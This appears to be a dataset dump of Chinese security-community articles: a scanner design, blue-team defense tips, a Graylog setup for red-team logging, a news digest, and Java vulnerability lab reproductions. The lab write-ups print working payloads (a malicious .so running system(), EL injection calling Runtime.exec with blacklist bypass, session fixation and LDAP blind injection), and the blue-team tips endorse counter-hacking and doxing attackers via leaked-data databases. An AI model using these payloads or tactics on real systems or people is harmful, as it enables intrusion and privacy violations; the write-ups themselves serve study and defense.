text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【技术分享】一个简单的分布式Web扫描器的设计与实践
|
##### 译文声明
本文是翻译文章，文章来源：安全小飞侠
原文地址：<http://avfisher.win/archives/676>
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x00 前言**
作为一个安全从业人员，在平常的工作中总是需要对一些Web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题，更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于Web扫描器，而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行，这样可以极大的减少人工检测的工作量，但是随之而来也会导致过多的误报和漏报，原因之一就是爬虫无法获取到一些隐藏很深的系统资源（比如：URL）进行检测。
**在这篇文章里，笔者主要想和大家分享一下从另一个角度来设计Web扫描器从而来解决开头所提到的问题。**
**0x01 设计**
在开始探讨设计之前，我们首先了解一下Web漏洞检测和扫描的一般过程和原理。通常我们所说的Web漏洞检测和扫描大致分为2种方式：
Web扫描器：主要利用扫描器的爬虫获取目标系统的所有URL，再尝试模拟访问这些URL获取更多的URL，如此循环，直到所有已知的URL被获取到，或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源；之后对获取的URL去重整理，利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
人工检测：通过设置代理（如：burp）来截获所有目标系统的访问请求，然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放（如：burp中的repeat功能）从而判断目标系统是否存在漏洞
对比上面的2种方式，我们可以发现Web扫描器可以极大的减少人工检测的工作量，但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报；而人工检测可以很好的保证发现漏洞的准确性和针对性，但是却严重依赖于检测人员的经验和时间，尤其是大型系统很难在有限的时间内完成检测，同样会造成漏报。那么，如果能有效地利用扫描器的处理速度以及人工的精准度的话，是不是就可以很好地解决前面的问题了呢？
下面让我们来深究一下两者的各自优势，前者自动化程度高不需要过多的人为干预，后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下，如果我们有办法可以获取到所有的真实请求（包括：请求头，cookie，url，请求参数等等）并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢？
我们设想一下，如果有这样一个系统可以在用户与系统之前获取到所有的请求，并分发给扫描器进行检测，这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块：
**客户端：用户访问系统的载体，如：浏览器，手机APP**
**代理：用于获取来自于客户端的所有请求，如：Burp，Load Balancer**
**解析器：负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中**
**请求数据库：用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息**
**扫描器：具有漏洞检测功能的扫描器，如：自行编写的定制扫描器（hackUtils），SQLMAP，Burp Scanner，WVS，OWASP
ZAP等**
**应用系统：目标应用系统，如： Web系统，APP**
基本架构如下：
从上图的设计中，我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中，然后将这些真实产生的请求分发给不同的扫描器（比如：常见的OWASP
Top10的漏洞，已披露的常见框架或者中间件漏洞等）进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰，且仅通过中心数据库关联起来，因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。
这种设计架构可以很方便地进行扩展和应用， 例如：
对于漏洞检测或者安全测试人员，我们只需要在本地设置好代理（如：burp），然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能，接下来的漏洞检测工作就完全交给了扫描器去做，这将极大地节约了时间和避免了大量重复的手工检测的工作量
对于企业系统，我们可以将代理设置在应用前端（如：load
balancer），这样所有的请求将会被自动镜像在扫描数据库，并自动分发给多个扫描引擎进行检测，无需手工干预即可发现很多隐藏很深的漏洞
**0x02 实践**
俗语说的好，“Talk is cheap, show me the code”!
是的，为了更好地了解这种设计思路的好处，笔者设计了一个Demo系统。该系统利用了burp作为代理，当我们在浏览器或者手机的wifi中配置好了代理服务器，漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能，代理将会自动地收集产生的所有请求数据（包括，各种请求头，cookie，请求方法，请求数据等）然后通过解析器的解析并存储于中央数据库，然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。
效果如下：
以下是我封装的一个python的requests库，它支持发送自定义的cookie，headers的get/post的请求，并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript，css等，可以非常方便的应用于反爬虫和DOM型XSS的检测。
Code：<https://github.com/brianwrf/HackRequests>
**0x03 思考**
从漏洞检测的角度来说，经过笔者的测试（以DVWA和WebGoat为例）检测效果还是非常明显和有效的。其实这种类似的设计，很早之前就已经有人做了，那么很多人要问了为什么你还要在重复造个轮子呢？其实原因有以下几点：
系统耦合性较强，不利于进行扩展和改造
在HTTPS的流量捕获上支持的不是很好
没有做到对HTTP请求中所有的可控输入点进行检测，例如，仅仅检测GET/POST数据，而对cookie，user-agent, referer等缺乏检测
缺乏对于DOM的渲染和解析，容易造成对于基于DOM的漏洞的漏报，比如：DOM型的XSS等
不具备分布式部署的能力，无法有效利用分布式处理的优点来提高检测效率
不具备真正的意义上的repeat检测能力，换句话说不能完全模拟用户的请求
当然，上述的设计也存在一些待解决的问题，比如：
若将代理部署至应用前端镜像所有请求，再分发至扫描引擎检测，如何防止真实用户数据泄漏和篡改？可能的解决方案是设置例外，对于敏感字段或者请求进行例外处理。
**写在最后**
Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路，解决问题才是考验系统能力的关键！后续我会继续努力改进其不足，让其更加易于使用！ | 社区文章 |
# 蓝方值守阶段经验技巧
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着国家对网络安全的建设不断加强，各地组织的攻防演练行动会越来越多。今天来分享蓝方在正式防护阶段时，需要重点加强防护过程中的安全保障工作，从攻击监测、攻击分析、攻击阻断、漏洞修复和追踪溯源等方面全面加强演习过程的安全防护效果。
## 全面监控
**安全事件实时监测**
借助安全设备（全流量分析设备、Web防火墙、IDS、 IPS、
数据库审计等）开展安全事件实时监测，对发现的攻击行为进行确认，详细记录攻击相关数据，为后续处置工作开展提供信息。
## 综合研判
**安全事件综合研判**
确认方式：攻击方式确认、攻击路径确认、攻击范围确认、攻击结果确认。
以找到攻击者的源IP地址、攻击服务器IP地址、邮件地址等信息，并对攻击方法、攻击方式、攻击路径和工具等进行分析研判。
基于全面监控提供监控数据，配合研判依据数据提供有效支撑，完成发生安全攻击事件上报。
**基于全流量的数据分析**
结合数据分析技术和安全攻防技术可以对已经发生的攻击行为进行多角度、全方位、可反复回溯的深度检测，从而更容易检测出潜在的入侵行为，内网重点关注以上攻击行为。
口令爆破：常见的重点口令的爆破、ssh、rdp、smb等
命令执行：系统命令（dir、ipconfig、whoami）；端口反弹（lcx、powershell、 nc等）
高危漏洞：Web层（Sq|注入、反序列化、Struts2等）； 系统层（ms17-010.破壳漏洞）
**基于服务器的数据分析**
软件不需要安装到服务器,只需要将服务器相关日志、注册表导出到本地进行分析
1、注册表分析：对启动项、环境变量、系统启动shell、Office宏、映像劫持、计划任务、TeamView使用等做分析
2、系统日志分析：对Windows、Linux服务器的系统日志进行包括入侵时间、入侵主机、入侵方式做初步溯源
3、中间件日志分析：主要对主流中间件如IIS、Tomcat、Apache、Weblogic等通过日志分析入侵途径、入侵手段
4、Linux分析：作为补充，对手工检测提供参考
**基于重点日志分析**
在护网中，VPN、域控、堡垒机是攻击的重点对象，同时也是监控薄弱环节，天融信服务团队主动开展针对重点系统的日志分析。
重点关注的事件类型：异常时间登录、境外IP登录、异地登录、暴力破解（1个账号多次登录失败10次以上）、撞库攻击（1个IP多次登录失败10次以上）、共享账号（1个IP多个用户登录）、威胁情报检测（对异常IP进行检测）、日志质量（对无法登陆的IP检查是否为正常情况）
## 应急溯源
系统账号，日志，历史命令，可疑文件，端口、进程，Webshell、后门，启动项，病毒
**实际操作中的经验**
1、研判确定为攻击地址，且有明确攻击行为证据再进行溯源，减少溯源工作量。
2、发现溯源攻击地址为移动动态ip、CDN地址，就没必要继续追查了，减少溯源工作量。
3、溯源可多方面进行，网站注册人、邮箱、联系电话等信息，必要时可对攻击IP进行反渗透。
4、流量中ID信息不要放过，可利用社工库对其进行反查，能够获取大量信息。
5、钓鱼邮件中恶意文件可放于沙箱中进行动态监测,反查邮件，定位攻击IP。
6、恶意程序可用沙箱监测，定位反链,从而获取攻击者信息。
7、社工库要利用起来，多方面收集信息，去除垃圾信息，从而定位精确信息。
8、情报共享平台要利用起来，如微步等情报平台多关注，多利用。
9、凡是有溯源结果的，可交于客户进行上报，无论加分成功与否，都可促进客户满意度。
10、定位到手机号。可以添加到手机通讯录中，利用钉钉等办公软件查找该人员所属公司。
11、利用人脉询问也是个是个好的办法。
**需要注意的问题**
1、建议组建专门的溯源团队进行溯源工作开展，蓝队现场同事可进行支撑（专职溯源电脑，不连内网）（原因：蓝队现场同事直接参与溯源，若掉入红队陷阱，会影响蓝队客户现场网络安全）
2、建议注册几个公用的社交帐号，供溯源人员进一步社工溯源操作，比如类似通过社交工具加别人好友，然后进行社工操作，一定程度上用来保护溯源人员安全
**不足之处**
1、获取信息说服力度不足，无确切证据表明为某某攻击队进行攻击，需要研究如何坐实证据。
2、溯源工作量大，需要专人专职进行溯源，攻击IP可能存在垃圾IP、黑产恶意IP等与护网无关IP进行干扰，需要专职人员进行处理筛选
3、溯源往往溯源到社工库提供的人就停止了，无法定位该人员所属公司、所属攻击队，从而无法得分
4、很多攻击IP为跳板机，很多情况溯源出的人也是受害者，需要更深一步的溯源
5、溯源可能会涉及到反渗透部分，属于未授权测试，可能会触碰一些法律法规
6、溯源准备需要进行沉淀积累，并做好提前准备
## 数据上报
事件信息（事件类型、发生时间、影响目标、攻击结果）、处置方式、存在的问题、处理意见 | 社区文章 |
# 检测攻击的基础日志服务器 Part2：日志聚合
##### 译文声明
本文是翻译文章，文章来源：thevivi.net
原文地址：<https://thevivi.net/2018/03/23/attack-infrastructure-logging-part-2-log-aggregation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一.写在前面的话
在我之前的文章中，我介绍了如何设置Graylog2日志记录服务器。在这篇文章中，我将介绍如何从我们安装的Graylog中获取一些日志。可是因为每个渗透测试人员使用的基础设施资产的数量和类型各不相同，所以无法在一篇文章中介绍所有的日志来源。但是，这些思想是差不多的，希望这篇文章将会帮助你理解。
我将介绍以下设置日志聚合的方法：
1.Apache有效负载/网上诱骗/ C2重定向器服务器。
2.Postfix / Sendmail邮件服务器。
## 二.Graylog消息输入和Rsyslog ：
在开始设置日志聚合之前，我应该了解一下关于Graylog的消息输入和Rsyslog的内容：
1.消息输入是Graylog用来提取传入日志消息的内容。
2.[Rsyslog](http://www.rsyslog.com/)是用于日志处理的快速系统。它是一个基于*nix的实用工具(通常是预安装的)，用于通过网络转发日志消息(通过TCP或UDP)。这是我们用来将基础设施资产(即客户)的日志转发给Graylog的方法。
## 三.服务器 – 设置Graylog消息输入：
Graylog中的消息输入配置非常简单。你可以从System → Inputs菜单中的Web界面启动。
Graylog支持大量的输入类型。正如我前面提到的，我们使用Rsyslog，选择“Syslog TCP”，然后单击“启动新输入。
下图中的大多数设置都是可选的，你需要输入一个新名称并选择你将要使用的绑定端口（你的Graylog服务器将创建一个监听服务来提取该端口上的日志）。Rsyslog默认使用514端口，我推荐在下面的例子中使用一个独立的高端口（>
1024），如5140。
配置完成后，点击开始输入以启动它。
现在我们可以开始用客户端向Graylog发送一些日志。
## 四.客户端 – Apache webserver日志聚合：
登录到您的Apache Web服务器并创建文件/etc/rsyslog.d/apache.conf。将以下文本粘贴到其中：
$ ModLoad imfile
＃默认Apache错误日志
$ InputFileName /var/log/apache2/error.log
$ InputFileTag apache-error-default：
$ InputFileStateFile stat-apache -error $
InputFileSeverity info
$ InputFileFacility local3
$ InputRunFileMonitor
＃默认Apache访问日志
$ InputFileName /var/log/apache2/access.log
$ InputFileTag apache-access-default：
$ InputFileStateFile stat-apache-access
$ InputFileSeverity info
$ InputFileFacility local4
$ InputRunFileMonitor
$ InputFilePollInterval 1
接下来，打开/etc/rsyslog.conf并将以下文本粘贴到文件底部：
$ ActionDuectory / var / spool /
rsyslog $ ActionQueueFileName fwdRule1
$ ActionQueueMaxDiskSpace 1g
$ ActionQueueSaveOnShutdown on
$ ActionQueueType LinkedList
$ ActionResumeRetryCount -1
*。* @@ graylog.example.org：5140; RSYSLOG_SyslogProtocol23Format
local3。* @@ graylog.example.org：5140 ; RSYSLOG_SyslogProtocol23Format
local4。* @@ graylog.example.org：5140; RSYSLOG_SyslogProtocol23Format
将所有出现的“Graylog .example.org:5140” 替换为您的Graylog服务器的IP地址/域，以及消息输入的端口。
如果这些都完成了，现在只需启动Rsyslog服务，然后Apache Web服务器就可以将日志转发给Graylog。
sudo service syslog stop
sudo service rsyslog restart
sudo service rsyslog status
让我们来看看它是否正常工作; 返回到您的Graylog服务器Web管理并打开Sources菜单。您应该在源列表中看到您的Apache Web服务器的主机名/
IP地址。
要验证您的Apache日志是否在实时处理数据，请打开Graylog的搜索菜单并在您的Apache客户端上生成一些Apache日志，您可以看到您的日志出现在搜索菜单的Messages部分。
现在，您所要做的就是重复上面的步骤，以实现所有基于Apache的基础设施资产(有效负载服务器、网络服务器、redirectors等)的操作。
## 五.服务器 – Apache日志解析：
默认情况下，Graylog不会将Apache日志解析为某种信息格式，例如IP地址、用户代理、请求字符串、响应代码等等。所以，这些日志都是未经过滤的原始文本，分析起来有点困难。
我们将使用[Grok模式](http://docs.graylog.org/en/2.4/pages/extractors.html#using-grok-patterns-to-extract-data)解决这个问题。
### I）选择一个Apache日志消息示例：
第一件事是从Graylog的搜索菜单中选择任何一个Apache日志消息作为示例。点击它并记下2个值; 该消息的ID字符串和存储在索引。
### II）创建一个Apache日志提取器：
接下来，进入系统→输入菜单，然后单击正在运行的Rsyslog输入旁边的“ 管理提取器”按钮。
点击Add extractor菜单下的“ 开始 ”，然后点击Message
ID选项卡。粘贴消息ID字符串和您之前从示例Apache日志中提取的索引。完成后点击“ 加载消息 ”。
完整的Apache示例日志会在下一个窗口中加载。滚动到“消息”字段，并从“选择提取器类型”下拉菜单中选择Grok模式。
如果一切顺利，您应该在示例消息窗口中看到示例Apache日志。您现在需要做的就是粘贴Grok模式，将其解析为Grok模式文本框。
将下面的整个字符串粘贴到文本框中，然后点击旁边的“ Try ” 按钮：
`％{IPORHOST：clientip}％{HTTPDUSER：ident}％{USER：auth} [％{HTTPDATE：timestamp}
]“（？：％{WORD：verb}％{NOTSPACE：request}（?: HTTP /
{NUMBER：httpversion}）？|％{DATA：rawrequest}）“％{NUMBER：response}（？：％{NUMBER：bytes}
| - ）`
您可以看见在“ Extractor Preview ”窗口中的日志被正确地解析为多个字段。
然后要做的就是重命名提取器，点击“ 创建提取器 ”按钮。确保每次选中提取单选。
### III）测试：
现在所有进入日志服务器的Apache日志都将被自动解析为多个字段;这样便于分析。您也可以通过在Graylog的搜索菜单中查看新的Apache日志来验证这一点——以前不存在的字段现在应该有了。
注意： Grok模式非常强大，允许您从各种来源解析日志;web服务器、邮件服务器甚至自定义应用程序。我建议在 System → Grok
patterns菜单下检查Graylog的内置Grok模式。您可以从其他来源上传新的Grok模式，甚至可以自行编写。
## 六.客户端 – 邮件服务器日志聚合：
Postfix和Sendmail都将日志写入syslog的邮件工具。邮件日志通常存储在/ var / log / maillog中。与Apache
Web服务器日志不同，它们也由Rsyslog的默认配置来处理。
这对我们来说是个好消息，因为您只需编辑邮件服务器中的/etc/rsyslog.conf文件，并将以下行添加到文件的底部即可。
`*。* @@ graylog.example.org：5140; RSYSLOG_SyslogProtocol23Format`
替换“ graylog.example.org:5140 ”以匹配日志记录服务器的详细信息。
现在只需重新启动Rsyslog，并且您的邮件服务器的日志应该开始出现在Graylog中。
`sudo service syslog stop
sudo service rsyslog restart
sudo service rsyslog status`
提示：默认情况下，Postfix仅在其日志文件中捕获电子邮件的“发件人”和“收件人”详细信息。可以按照这个[博客](https://www.linuxtechi.com/log-email-subject-maillog/)中的步骤捕获电子邮件的主题以及更详细的日志记录。
## 七.额外的C2日志聚合：
如果你也有兴趣从Cobalt Strike C2日志中导入Graylog ，请参阅“ Cobalt Strike Team Server Logging
Client ”部分，然后用上面的Apache日志导入。
老实说，我还不知道如何将Empire的日志发送给Graylog，但是如果您在Empire
C2前使用重定向器，那么将重定向器的日志发送给Graylog应该就足够了。
## 八.结论：
现在我们有一个Graylog服务器从多个攻击基础架构资产中接收日志。在下一篇文章中，我将介绍如何设可视化这些数据。
## 参考：
<http://docs.graylog.org/en/2.4/pages/sending_data.html>
<https://community.graylog.org/t/rsyslog-udp-works-but-not-syslog-tcp/2511>
<https://github.com/Graylog2/graylog-guide-syslog-linux/blob/master/README.md#rsyslog>
<http://www.rsyslog.com/sending-messages-to-a-remote-syslog-server/>
<https://bluescreenofjeff.com/2017-08-08-attack-infrastructure-log-aggregation-and-monitoring/>
<https://gist.github.com/GaryRogers/85c8f2a805010ceeccc6> | 社区文章 |
# 【知识】9月28日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
一个介绍主流漏洞悬赏平台、安全书籍、常见安全工具及漏洞类型的CheatSheet、BypassD盾IIS防火墙SQL注入防御（多姿势）、一款智能家居设备的远程命令执行漏洞分析、Exe2Image：一个可以将exe转换为jpeg图像文件的小程序、Kingslayer
– A supply chain attack、Netgear ReadyNAS监控未认证远程命令执行漏洞**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
俄罗斯黑客利用 Google AMP 漏洞钓鱼
雅虎开源其搜索引擎 Vespa
中国 Android 应用利用 Dirty Cow 漏洞植入后门
**技术类：**
********
一个介绍主流漏洞悬赏平台、安全书籍、常见安全工具及漏洞类型的CheatSheet
<https://github.com/EdOverflow/bugbounty-cheatsheet>
BypassD盾IIS防火墙SQL注入防御（多姿势）
<https://xianzhi.aliyun.com/forum/read/2173.html>
Kingslayer – A supply chain attack — Part 1
[http://hackdog.me/article/Kingslayer-A_supply_chain_attack–Part_1.html](http://hackdog.me/article/Kingslayer-A_supply_chain_attack--Part_1.html)
开源无效流量检测项目
<http://nameles.org/>
NuCypher KMS开发路线图
<https://medium.com/@NuCypher/nucypher-kms-development-roadmap-fed689b13dfa>
参数特定XSS的故事
<http://www.noob.ninja/2017/09/story-of-parameter-specific-xss.html>
Phrack:虚拟机逃逸，QEMU 案例研究
<https://www.exploit-db.com/papers/42883/>
恶意文档利用新的反虚拟机和防沙盒技术
<https://www.zscaler.com/blogs/research/malicious-documents-leveraging-new-anti-vm-anti-sandbox-techniques>
应用加密加固
<https://bettercrypto.org/static/applied-crypto-hardening.pdf>
看我如何利用隐藏的输入点入侵DePauw大学
<https://hackernoon.com/how-i-hacked-depauw-university-using-hidden-inputs-79377c3dca7e>
通过数据包端口号进行数据渗出：PacketKnockOut
<https://n0where.net/data-exfiltration-via-packet-port-numbers-packetknockout/>
一篇针对IDS和IPS的科普文
<https://securitydocs.com/network-based-intrusion-detection-and-intrusion-prevention-systems/5061/>
一款智能家居设备的远程命令执行漏洞分析
<https://forsec.nl/2017/09/smart-home-remote-command-execution-rce/>
Technology preview: Private contact discovery for Signal
<https://signal.org/blog/private-contact-discovery/>
Exe2Image：一个可以将exe转换为jpeg图像文件的小程序
<https://github.com/OsandaMalith/Exe2Image>
Advanced 'all in memory' CryptoWorm
<https://marcoramilli.blogspot.com/2017/09/advanced-all-in-memory-cryptoworm.html>
Netgear ReadyNAS监控未认证远程命令执行漏洞
<https://blogs.securiteam.com/index.php/archives/3409> | 社区文章 |
# Day17 Library注入
### 代码
Day 17
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
从这段代码中可以看出，首先它有一个上传功能，它可以安全地上传任何扩展名以及任何Content-Type的文件至/var/myapp/data目录下。然后get请求中，会首先执行loadEnv()函数，它会将cookie进行处理，提取出cookie中的env段进行环境变量的设置，其中它在setEnv函数中对环境变量名进行判断，不允许环境变量名以"java",
"os"以及"file"开头。但可通过.java.xxx来绕过，从而可以设置以java开头的环境变量，将java.library.path设置为文件上传目录，从而在System.loadLibrary()函数中，加载恶意文件。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day17</servlet-name>
<servlet-class>com.ananaskr.day17.JavaDeobfuscatorStartupController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day17</servlet-name>
<url-pattern>/day17</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 补充文件上传代码
JavaDeobfuscatorStartupController.java
public class JavaDeobfuscatorStartupController extends HttpServlet {
...
private static void uploadFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
String uploadPath = "/var/myapp/data";
File uploadDir = new File(uploadPath);
if(!uploadDir.exists()){
uploadDir.mkdir();
}
try{
List<FileItem> items = upload.parseRequest(request);
if (items != null && items.size() >0){
for (FileItem item : items){
if(!item.isFormField()){
String name = item.getName();
String file = uploadPath+File.separator+name.replace("/","");
System.out.println(file);
File storeFile = new File(file);
item.write(storeFile);
}
}
}
} catch (Exception ex){
response.sendRedirect("/");
}
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
uploadFile(request,response);
}
...
#### 4\. 补充上传的jsp
index.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post" action="/Day17_war_exploded/day17" enctype="multipart/form-data">
<input type="file" name="uploadFile"/>
<br/><br/>
<input type="submit" value="upload"/>
</form>
</body>
</html>
#### 5\. payload构造
作为攻击者，目的主要是为了上传恶意的.so文件，使其在被加载时就执行恶意行为。在这里参考了[巧用LD_PRELOAD突破disable_functions](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD)。GCC有个C语言扩展修饰符__attribute__((__constructor__))，可以让由它修饰的函数在main()之前执行，若它出现在共享对象中，那么共享对象被系统加载，立即执行__attribute__((__constructor__))修饰的函数。
可构造如下的libDEOBFUSCATION_LIB.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("id");
}
然后编译，生成恶意的so文件
gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl
将生成的libDEOBFUSCATION_LIB.so首先上传到/var/myapp/data目录下。然后通过.java.library.path然后黑名单检查，因此可发送如下请求
**提示** ：在此过程中，由于是在MAC
OS上进行的复现，System.loadLibrary("XXX")函数只会读取java.library.path路径下的libXXX.dylib，而不会读取libXXX.so。因此，将libDEOBFUSCATION_LIB.so修改后缀为libDEOBFUSCATION_LIB.dylib，然后进行上传，才可成功。
#### 6\. 结果
可看到，在命令行中输出了id的结果
# Day18 会话固定攻击
### 代码
Day 18
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
这段代码中有一个会话固定攻击，可导致命令注入漏洞。当第一次访问时，新的会话被创建且会话变量被设置，然而在此过程中，攻击者控制了一些会话的参数，用户输入的config被分割为key-value对。然后被处理的config值被合并至whitelist中。这将导致攻击者可以完全控制自己会话的会话变量。
攻击者的目标是达到"execute last command"部分，只有通过Authorization
header提供有效密码并设置会话变量last_command时，才能访问"execute last command"部分。
综上所述，攻击者可以完全控制会话变量，但仅仅在自己的会话中，没有密码，无法访问到"execute last
command"部分。在35-39行代码中存在会话固定漏洞，导致对受害者cookie的完全控制。可以通过向应用程序管理员发送一个链接，并通过参数config将其会话设置为已知会话，然后执行上次存储的shell命令。身份验证头是自动发送的，因此密码检查通过。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day18</servlet-name>
<servlet-class>com.ananaskr.day18.LoadConfig</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day18</servlet-name>
<url-pattern>/day18</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 补充validBasicAuthHeader()
1. import org.apache.tomcat.util.http.fileupload.IOUtils -> import org.apache.commons.io.IOUtils
2. validBasicAuthHeader()
private boolean validBasicAuthHeader(HttpServletRequest request){
HttpSession session = request.getSession(true);
String auth = (String)session.getAttribute("Authorization");
if(auth.equals("password_of_day18")){
return true;
}else if(request.getParameter("passwd").equals("password_of_day18")){
session.setAttribute("Authorization","password_of_day18");
return true;
}else{
return false;
}
}
#### 4\. payload构造及复现
首先准备两个浏览器，Google和Safari分别对应于应用程序管理员和攻击者。
1.攻击者(在Safari浏览器中)首先访问应用程序，获得其session的JSESSIONID。并将last_command存储至session中。payload如下
?config=last_command@ls
2.将获取的JSESSIONID，即8A36A702791A470114ECD0BA77B61653。创建一个链接，发送给应用层序管理员，使其点击，将攻击的JSESSIONID与自己的会话绑定。
?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes
3.应用程序管理者(在Google浏览器中)发送如下payload，完成验证
?home=yes&passwd=password_of_day18
4.应用程序管理员点击`?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes`，将攻击者的JSESSIONID绑定至自己的会话中。
5.在这之后，攻击者再发送请求后，绕过了原来的验证，且一开始已经将last_command存储在会话中了，发送如下payload即可。
?home=yes
#### 5\. 结果
# Day19 EL注入
### 代码
Day 19
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
代码获取请求参数p的值，并将其通过eval()函数执行，易导致表达式语言注入攻击。为了防止EL注入攻击，首先对获取的用户输入进行判断，必须以"开头，然后通过正则表达式防止注入危险的类和语言结构(这些类和语言结构可用于执行任意Java指令)。然而这些都很容易绕过。
由于Java的灵活性，有无数方法绕过黑名单。例如，可以通过反射调用javax.scripts.ScriptEngineManager类。Eval需要一个字符串，很多方法可以对该字符串进行编码，最终导致代码注入。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day19</servlet-name>
<servlet-class>com.ananaskr.day19.RenderExpression</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day19</servlet-name>
<url-pattern>/day19</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. payload构造
由于直接执行java反射代码无法绕过对于"的判断，所以新实例化了一个ScriptEngine对象调用eval()函数实现代码注入。其中，对于正则表达式出现的关键字，采用replaceAll来绕过，具体的payload如下:
"".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))
在发送请求时，将其escape，其中"touch /tmp/owned.jsp"中间的空格换成"+"，否则会导致无法绕过正则匹配。
#### 4\. 结果
# Day20 LDAP盲注
### 代码
Day 20
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
在代码的54行，用户输入username被传递给userExists()方法中，
此方法检查此用户是否存在LDAP目录中。在此方法中对用户的输入首先进行一个过滤，不允许出现黑名单中的如uuid等敏感的值。然后将用户输入拼接到查询语句中进行用户的查询。若查询结果不为0，则页面出现"User
is
found"。根据这一差异，可以进行LDAP盲注。代码中通过对用户输入的值进行黑名单检查从而阻止LDAP注入，但是这仅仅限制了对敏感信息的种类的获取，不在黑名单中的信息createtimestamp，description的值依然可以获得。根据executeCommand()函数，且若获取到管理员用户的createtimestamp，可以生成API
token，然后利用此token可以执行shell命令。
### 复现过程
#### 1\. 环境
* LDAP+Docker [Docker快速搭建LDAP](https://www.cnblogs.com/eoalfj/p/11837415.html)
docker pull osixia/openldap:1.3.0
ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif
//test.ldif
dn: cn=ananaskr1,dc=example,dc=org
objectClass: simpleSecurityObject
objectClass: inetOrgPerson
cn: ananaskr1
sn: ad
uid: admin
userPassword:: e1NTSEF9bzVZaGNCQUg4Sm9IcC9LNEZXV2YyK21vQ1VJemkwcmw=
mail: [email protected]
description: hacked by ananaskr
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day20</servlet-name>
<servlet-class>com.ananaskr.day20.UserController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day20</servlet-name>
<url-pattern>/day20</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. payload构造
由于在新加入的条目中含有description字段，且description也未在黑名单中。就使用LDAP盲注来获取description的值。构造的payload如下
?username=admin)(description=H*
?username=admin)(description=Ha*
可编写脚本来获取
import requests
import string
